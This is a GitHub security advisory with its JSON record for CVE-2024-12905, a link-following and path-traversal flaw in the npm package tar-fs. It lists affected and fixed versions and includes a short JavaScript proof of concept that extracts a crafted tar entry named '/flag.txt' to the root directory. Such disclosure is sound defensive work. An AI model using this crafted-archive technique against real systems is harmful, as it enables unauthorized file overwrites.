GHSA-PQ67-2WWV-3XJX

Vulnerability from github – Published: 2025-03-27 18:31 – Updated: 2025-11-03 22:54
VLAI
Summary
tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File
Details

An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.

This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.

PoC

// Create a writable stream to extract the tar content
const extractStream = tarfs.extract('/', {
    // We can ignore the file type checks to allow the extraction of the malicious file
    ignore: (name) => false,
});

// Create a tar stream
const tarStream = tarfs.pack().on('error', (err) => {
    throw err;
});

// Append the malicious entry to the tar stream
tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));

// Finalize the tar stream
tarStream.finalize();

// Pipe the tar stream into the extract stream
tarStream.pipe(extractStream);
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar-fs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar-fs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar-fs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-12905"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-28T22:11:42Z",
    "nvd_published_at": "2025-03-27T17:15:53Z",
    "severity": "HIGH"
  },
  "details": "An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.\n\nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.\n\n### PoC\n```javascript\n// Create a writable stream to extract the tar content\nconst extractStream = tarfs.extract(\u0027/\u0027, {\n    // We can ignore the file type checks to allow the extraction of the malicious file\n    ignore: (name) =\u003e false,\n});\n\n// Create a tar stream\nconst tarStream = tarfs.pack().on(\u0027error\u0027, (err) =\u003e {\n    throw err;\n});\n\n// Append the malicious entry to the tar stream\ntarStream.entry({ name: \u0027/flag.txt\u0027, mode: 0o644 }, Buffer.from(\u0027This is a flag!\u0027));\n\n// Finalize the tar stream\ntarStream.finalize();\n\n// Pipe the tar stream into the extract stream\ntarStream.pipe(extractStream);\n```",
  "id": "GHSA-pq67-2wwv-3xjx",
  "modified": "2025-11-03T22:54:57Z",
  "published": "2025-03-27T18:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12905"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed"
    },
    {
      "type": "WEB",
      "url": "https://arxiv.org/abs/2506.04962"
    },
    {
      "type": "WEB",
      "url": "https://arxiv.org/pdf/2506.04962"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mafintosh/tar-fs"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/06/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://www.seal.security/blog/a-link-to-the-past-uncovering-a-new-vulnerability-in-tar-fs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File"
}



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